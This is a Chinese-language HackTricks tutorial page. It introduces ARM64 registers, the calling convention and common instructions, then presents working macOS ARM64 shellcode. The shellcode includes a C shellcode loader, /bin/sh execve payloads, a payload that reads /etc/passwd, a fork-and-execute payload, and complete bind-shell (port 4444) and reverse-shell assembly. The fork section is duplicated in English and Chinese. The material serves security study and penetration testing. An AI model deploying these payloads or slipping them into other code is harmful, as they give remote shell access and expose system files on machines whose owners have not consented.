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544 lines
23 KiB
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544 lines
23 KiB
Markdown
# ARM64简介
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
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* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
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</details>
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## **ARM64简介**
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ARM64，也被称为ARMv8-A，是一种64位处理器架构，用于各种设备，包括智能手机、平板电脑、服务器，甚至一些高端个人电脑（macOS）。它是ARM Holdings公司的产品，该公司以其节能的处理器设计而闻名。
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### **寄存器**
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ARM64有**31个通用寄存器**，标记为`x0`到`x30`。每个寄存器可以存储一个**64位**（8字节）的值。对于只需要32位值的操作，可以使用名为w0到w30的32位模式访问相同的寄存器。
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1. **`x0`**到**`x7`** - 通常用作临时寄存器和传递子程序参数。
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* **`x0`**还携带函数的返回数据
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2. **`x8`** - 在Linux内核中，`x8`用作`svc`指令的系统调用号。**在macOS中，使用的是x16！**
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3. **`x9`**到**`x15`** - 更多的临时寄存器，通常用于局部变量。
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4. **`x16`**和**`x17`** - 临时寄存器，也用于间接函数调用和PLT（Procedure Linkage Table）存根。
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* **`x16`**用作**`svc`**指令的**系统调用号**。
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5. **`x18`** - 平台寄存器。在某些平台上，该寄存器保留用于特定平台的用途。
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6. **`x19`**到**`x28`** - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供其调用者使用。
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7. **`x29`** - **帧指针**。
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8. **`x30`** - 链接寄存器。当执行`BL`（带链接的分支）或`BLR`（带链接到寄存器的分支）指令时，它保存返回地址。
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9. **`sp`** - **堆栈指针**，用于跟踪堆栈的顶部。
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10. **`pc`** - **程序计数器**，指向将要执行的下一条指令。
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### **调用约定**
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ARM64调用约定规定，函数的**前八个参数**通过寄存器**`x0`到`x7`**传递。**额外的**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**传回，如果是**128位**的话，也可以通过**`x1`**传回。函数调用时，**`x19`**到**`x30`**和**`sp`**寄存器必须被**保留**。
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在汇编中阅读函数时，要查找**函数的序言和尾声**。**序言**通常涉及**保存帧指针（`x29`）**，**设置新的帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
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### **常见指令**
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ARM64指令通常具有**`opcode dst, src1, src2`**的格式，其中**`opcode`**是要执行的**操作**（如`add`、`sub`、`mov`等），**`dst`**是结果将被存储的**目标**寄存器，**`src1`**和**`src2`**是**源**寄存器。也可以使用立即值代替源寄存器。
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* **`mov`**：将一个值从一个**寄存器**移动到另一个寄存器。
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* 示例：`mov x0, x1` - 这将将`x1`中的值移动到`x0`中。
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* **`ldr`**：将一个值从**内存**加载到**寄存器**中。
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* 示例：`ldr x0, [x1]` - 这将从由`x1`指向的内存位置加载一个值到`x0`中。
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* **`str`**：将一个值从寄存器存储到内存中。
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* 示例：`str x0, [x1]` - 这将将`x0`中的值存储到由`x1`指向的内存位置中。
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* **`ldp`**：**加载一对寄存器**。该指令从**连续的内存**位置加载两个寄存器。内存地址通常是通过将另一个寄存器中的值与偏移量相加形成的。
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* 示例：`ldp x0, x1, [x2]` - 这将从`x2`和`x2 + 8`处的内存位置分别加载`x0`和`x1`。
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* **`stp`**：**存储一对寄存器**。该指令将两个寄存器存储到**连续的内存**位置。内存地址通常是通过将另一个寄存器中的值与偏移量相加形成的。
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* 示例：`stp x0, x1, [x2]` - 这将`x0`和`x1`存储到`x2`和`x2 + 8`处的内存位置。
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* **`add`**：将两个寄存器的值相加，并将结果存储在一个寄存器中。
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* 示例：`add x0, x1, x2` - 这将将`x1`和`x2`中的值相加，并将结果存储在`x0`中。
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* **`sub`**：将两个寄存器的值相减，并将结果存储在一个寄存器中。
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* 示例：`sub x0, x1, x2` - 这将从`x1`中减去`x2`的值，并将结果存储在`x0`中。
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* **`mul`**: **乘法**，将两个寄存器的值相乘，并将结果存储在一个寄存器中。
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* 示例：`mul x0, x1, x2` — 将`x1`和`x2`的值相乘，并将结果存储在`x0`中。
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* **`div`**: **除法**，将一个寄存器的值除以另一个寄存器的值，并将结果存储在一个寄存器中。
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* 示例：`div x0, x1, x2` — 将`x1`的值除以`x2`的值，并将结果存储在`x0`中。
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* **`bl`**: **带链接分支**，用于调用一个**子程序**。将**返回地址存储在`x30`中**。
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* 示例：`bl myFunction` — 调用函数`myFunction`，并将返回地址存储在`x30`中。
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* **`blr`**: **带链接寄存器分支**，用于调用一个**子程序**，其中目标在一个**寄存器**中指定。将**返回地址存储在`x30`中**。
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* 示例：`blr x1` — 调用地址包含在`x1`中的函数，并将返回地址存储在`x30`中。
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* **`ret`**: **从子程序返回**，通常使用**`x30`中的地址**。
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* 示例：`ret` — 使用`x30`中的返回地址从当前子程序返回。
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* **`cmp`**: **比较**两个寄存器的值，并设置条件标志。
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* 示例：`cmp x0, x1` — 比较`x0`和`x1`的值，并相应地设置条件标志。
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* **`b.eq`**: **等于时分支**，基于前面的`cmp`指令。
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* 示例：`b.eq label` — 如果前面的`cmp`指令发现两个相等的值，则跳转到`label`。
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* **`b.ne`**: **不等于时分支**。此指令检查条件标志（由前一个比较指令设置），如果比较的值不相等，则跳转到一个标签或地址。
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* 示例：在`cmp x0, x1`指令之后，`b.ne label` — 如果`x0`和`x1`的值不相等，则跳转到`label`。
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* **`cbz`**: **零时比较和分支**。此指令将一个寄存器与零进行比较，如果它们相等，则跳转到一个标签或地址。
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* 示例：`cbz x0, label` — 如果`x0`中的值为零，则跳转到`label`。
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* **`cbnz`**: **非零时比较和分支**。此指令将一个寄存器与零进行比较，如果它们不相等，则跳转到一个标签或地址。
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* 示例：`cbnz x0, label` — 如果`x0`中的值非零，则跳转到`label`。
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* **`adrp`**: 计算一个符号的**页地址**并将其存储在一个寄存器中。
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* 示例：`adrp x0, symbol` — 计算`symbol`的页地址并将其存储在`x0`中。
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* **`ldrsw`**: 从内存中**加载**一个**有符号的32位**值，并将其**符号扩展为64位**。
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* 示例：`ldrsw x0, [x1]` — 从由`x1`指向的内存位置加载一个有符号的32位值，将其符号扩展为64位，并将其存储在`x0`中。
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* **`stur`**: 将一个寄存器的值**存储到内存位置**，使用另一个寄存器的偏移量。
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* 示例：`stur x0, [x1, #4]` — 将`x0`中的值存储到当前`x1`地址加4字节的内存位置。
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*  **`svc`** : 进行**系统调用**。它代表"Supervisor Call"。当处理器执行此指令时，它会从用户模式切换到内核模式，并跳转到内存中内核系统调用处理代码所在的特定位置。
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* 示例： 
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```armasm
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mov x8, 93 ; 将退出系统调用的系统调用号（93）加载到寄存器x8中。
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mov x0, 0 ; 将退出状态码（0）加载到寄存器x0中。
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svc 0 ; 进行系统调用。
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```
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### **函数序言**
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1. **将链接寄存器和帧指针保存到堆栈中**：
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{% code overflow="wrap" %}
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```armasm
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stp x29, x30, [sp, #-16]! ; 将x29和x30寄存器对存储到堆栈中，并减小堆栈指针
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```
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{% endcode %}
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2. **设置新的帧指针**：`mov x29, sp`（为当前函数设置新的帧指针）
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3. **为局部变量在堆栈上分配空间**（如果需要）：`sub sp, sp, <size>`（其中`<size>`是所需的字节数）
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### **函数收尾**
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1. **释放局部变量（如果有分配的变量）**：`add sp, sp, <size>`
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2. **恢复链接寄存器和帧指针**：
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{% code overflow="wrap" %}
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```armasm
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ldp x29, x30, [sp], #16 ; 从堆栈中加载x29和x30寄存器对，并增加堆栈指针
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```
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{% endcode %}
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3. **返回**：`ret`（使用链接寄存器中的地址将控制返回给调用者）
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## macOS
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### syscalls
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请查看[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)。
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### Shellcodes
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编译：
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```bash
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as -o shell.o shell.s
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ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
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# You could also use this
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ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
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```
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提取字节的方法如下：
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```assembly
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ldr x0, =0x12345678
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ldrb w1, [x0]
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```
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这段代码用于从内存地址0x12345678中提取一个字节。
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```bash
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# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
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for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
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echo -n '\\x'$c
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done
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```
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<details>
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<summary>用于测试shellcode的C代码</summary>
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```c
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// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
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// gcc loader.c -o loader
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#include <stdio.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <stdlib.h>
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int (*sc)();
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char shellcode[] = "<INSERT SHELLCODE HERE>";
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int main(int argc, char **argv) {
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printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
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void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
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if (ptr == MAP_FAILED) {
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perror("mmap");
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exit(-1);
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}
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printf("[+] SUCCESS: mmap\n");
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printf(" |-> Return = %p\n", ptr);
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void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
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printf("[+] SUCCESS: memcpy\n");
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printf(" |-> Return = %p\n", dst);
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int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
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if (status == -1) {
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perror("mprotect");
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exit(-1);
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}
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printf("[+] SUCCESS: mprotect\n");
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printf(" |-> Return = %d\n", status);
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printf("[>] Trying to execute shellcode...\n");
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sc = ptr;
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sc();
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return 0;
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}
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```
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</details>
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#### Shell
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从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。
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{% tabs %}
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{% tab title="使用adr" %}
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```armasm
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.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
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.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
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.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
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_main:
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adr x0, sh_path ; This is the address of "/bin/sh".
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mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
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mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
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mov x16, #59 ; Move the execve syscall number (59) into x16.
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svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
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sh_path: .asciz "/bin/sh"
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```
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{% tab title="使用堆栈" %}
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```armasm
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.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
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.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
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.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
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_main:
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; We are going to build the string "/bin/sh" and place it on the stack.
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mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
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movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
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movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
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movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
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str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
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; Prepare arguments for the execve syscall.
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mov x1, #8 ; Set x1 to 8.
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sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
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mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
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mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
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; Make the syscall.
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mov x16, #59 ; Move the execve syscall number (59) into x16.
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svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
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```
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{% endtab %}
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{% endtabs %}
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#### 使用cat命令读取
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目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`，因此第二个参数（x1）是一个参数数组（在内存中表示为地址的堆栈）。
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```armasm
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.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
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.global _main ; Declare a global symbol _main
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.align 2 ; Align the beginning of the following code to a 4-byte boundary
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_main:
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; Prepare the arguments for the execve syscall
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sub sp, sp, #48 ; Allocate space on the stack
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mov x1, sp ; x1 will hold the address of the argument array
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adr x0, cat_path
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str x0, [x1] ; Store the address of "/bin/cat" as the first argument
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adr x0, passwd_path ; Get the address of "/etc/passwd"
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str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
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str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
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adr x0, cat_path
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mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
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mov x16, #59 ; Load the syscall number for execve (59) into x8
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svc 0 ; Make the syscall
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cat_path: .asciz "/bin/cat"
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.align 2
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passwd_path: .asciz "/etc/passwd"
|
||
```
|
||
#### 使用fork从sh调用命令，以便主进程不被终止
|
||
|
||
Sometimes, when executing a command using the `system()` function in C, the main process may be terminated if the command encounters an error. To avoid this, you can use the `fork()` system call to create a child process and then execute the command using `sh` in the child process. This way, even if the command fails, the main process will not be terminated.
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <sys/types.h>
|
||
#include <sys/wait.h>
|
||
|
||
int main() {
|
||
pid_t pid = fork();
|
||
|
||
if (pid == -1) {
|
||
perror("fork");
|
||
exit(EXIT_FAILURE);
|
||
} else if (pid == 0) {
|
||
// Child process
|
||
execl("/bin/sh", "sh", "-c", "your_command_here", (char *)NULL);
|
||
exit(EXIT_SUCCESS);
|
||
} else {
|
||
// Parent process
|
||
wait(NULL);
|
||
printf("Command executed successfully!\n");
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
在C语言中，有时候使用`system()`函数执行命令时，如果命令遇到错误，主进程可能会被终止。为了避免这种情况，可以使用`fork()`系统调用创建一个子进程，然后在子进程中使用`sh`执行命令。这样，即使命令失败，主进程也不会被终止。
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <sys/types.h>
|
||
#include <sys/wait.h>
|
||
|
||
int main() {
|
||
pid_t pid = fork();
|
||
|
||
if (pid == -1) {
|
||
perror("fork");
|
||
exit(EXIT_FAILURE);
|
||
} else if (pid == 0) {
|
||
// 子进程
|
||
execl("/bin/sh", "sh", "-c", "your_command_here", (char *)NULL);
|
||
exit(EXIT_SUCCESS);
|
||
} else {
|
||
// 父进程
|
||
wait(NULL);
|
||
printf("命令执行成功！\n");
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
```armasm
|
||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||
.global _main ; Declare a global symbol _main
|
||
.align 2 ; Align the beginning of the following code to a 4-byte boundary
|
||
|
||
_main:
|
||
; Prepare the arguments for the fork syscall
|
||
mov x16, #2 ; Load the syscall number for fork (2) into x8
|
||
svc 0 ; Make the syscall
|
||
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
|
||
beq _loop ; If not child process, loop
|
||
|
||
; Prepare the arguments for the execve syscall
|
||
|
||
sub sp, sp, #64 ; Allocate space on the stack
|
||
mov x1, sp ; x1 will hold the address of the argument array
|
||
adr x0, sh_path
|
||
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
|
||
adr x0, sh_c_option ; Get the address of "-c"
|
||
str x0, [x1, #8] ; Store the address of "-c" as the second argument
|
||
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
|
||
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
|
||
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
|
||
|
||
adr x0, sh_path
|
||
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
|
||
mov x16, #59 ; Load the syscall number for execve (59) into x8
|
||
svc 0 ; Make the syscall
|
||
|
||
|
||
_exit:
|
||
mov x16, #1 ; Load the syscall number for exit (1) into x8
|
||
mov x0, #0 ; Set exit status code to 0
|
||
svc 0 ; Make the syscall
|
||
|
||
_loop: b _loop
|
||
|
||
sh_path: .asciz "/bin/sh"
|
||
.align 2
|
||
sh_c_option: .asciz "-c"
|
||
.align 2
|
||
touch_command: .asciz "touch /tmp/lalala"
|
||
```
|
||
#### 绑定 shell
|
||
|
||
从 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) 获取绑定 shell，端口为 **4444**。
|
||
```armasm
|
||
.section __TEXT,__text
|
||
.global _main
|
||
.align 2
|
||
_main:
|
||
call_socket:
|
||
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
|
||
mov x16, #97
|
||
lsr x1, x16, #6
|
||
lsl x0, x1, #1
|
||
mov x2, xzr
|
||
svc #0x1337
|
||
|
||
// save s
|
||
mvn x3, x0
|
||
|
||
call_bind:
|
||
/*
|
||
* bind(s, &sockaddr, 0x10)
|
||
*
|
||
* struct sockaddr_in {
|
||
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
|
||
* sa_family_t sin_family; // AF_INET = 2
|
||
* in_port_t sin_port; // 4444 = 0x115C
|
||
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
|
||
* char sin_zero[8]; // Don't care
|
||
* };
|
||
*/
|
||
mov x1, #0x0210
|
||
movk x1, #0x5C11, lsl #16
|
||
str x1, [sp, #-8]
|
||
mov x2, #8
|
||
sub x1, sp, x2
|
||
mov x2, #16
|
||
mov x16, #104
|
||
svc #0x1337
|
||
|
||
call_listen:
|
||
// listen(s, 2)
|
||
mvn x0, x3
|
||
lsr x1, x2, #3
|
||
mov x16, #106
|
||
svc #0x1337
|
||
|
||
call_accept:
|
||
// c = accept(s, 0, 0)
|
||
mvn x0, x3
|
||
mov x1, xzr
|
||
mov x2, xzr
|
||
mov x16, #30
|
||
svc #0x1337
|
||
|
||
mvn x3, x0
|
||
lsr x2, x16, #4
|
||
lsl x2, x2, #2
|
||
|
||
call_dup:
|
||
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
|
||
mvn x0, x3
|
||
lsr x2, x2, #1
|
||
mov x1, x2
|
||
mov x16, #90
|
||
svc #0x1337
|
||
mov x10, xzr
|
||
cmp x10, x2
|
||
bne call_dup
|
||
|
||
call_execve:
|
||
// execve("/bin/sh", 0, 0)
|
||
mov x1, #0x622F
|
||
movk x1, #0x6E69, lsl #16
|
||
movk x1, #0x732F, lsl #32
|
||
movk x1, #0x68, lsl #48
|
||
str x1, [sp, #-8]
|
||
mov x1, #8
|
||
sub x0, sp, x1
|
||
mov x1, xzr
|
||
mov x2, xzr
|
||
mov x16, #59
|
||
svc #0x1337
|
||
```
|
||
#### 反向 shell
|
||
|
||
从 [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)，反向 shell 到 **127.0.0.1:4444**
|
||
```armasm
|
||
.section __TEXT,__text
|
||
.global _main
|
||
.align 2
|
||
_main:
|
||
call_socket:
|
||
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
|
||
mov x16, #97
|
||
lsr x1, x16, #6
|
||
lsl x0, x1, #1
|
||
mov x2, xzr
|
||
svc #0x1337
|
||
|
||
// save s
|
||
mvn x3, x0
|
||
|
||
call_connect:
|
||
/*
|
||
* connect(s, &sockaddr, 0x10)
|
||
*
|
||
* struct sockaddr_in {
|
||
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
|
||
* sa_family_t sin_family; // AF_INET = 2
|
||
* in_port_t sin_port; // 4444 = 0x115C
|
||
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
|
||
* char sin_zero[8]; // Don't care
|
||
* };
|
||
*/
|
||
mov x1, #0x0210
|
||
movk x1, #0x5C11, lsl #16
|
||
movk x1, #0x007F, lsl #32
|
||
movk x1, #0x0100, lsl #48
|
||
str x1, [sp, #-8]
|
||
mov x2, #8
|
||
sub x1, sp, x2
|
||
mov x2, #16
|
||
mov x16, #98
|
||
svc #0x1337
|
||
|
||
lsr x2, x2, #2
|
||
|
||
call_dup:
|
||
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
|
||
mvn x0, x3
|
||
lsr x2, x2, #1
|
||
mov x1, x2
|
||
mov x16, #90
|
||
svc #0x1337
|
||
mov x10, xzr
|
||
cmp x10, x2
|
||
bne call_dup
|
||
|
||
call_execve:
|
||
// execve("/bin/sh", 0, 0)
|
||
mov x1, #0x622F
|
||
movk x1, #0x6E69, lsl #16
|
||
movk x1, #0x732F, lsl #32
|
||
movk x1, #0x68, lsl #48
|
||
str x1, [sp, #-8]
|
||
mov x1, #8
|
||
sub x0, sp, x1
|
||
mov x1, xzr
|
||
mov x2, xzr
|
||
mov x16, #59
|
||
svc #0x1337
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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|
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</details>
|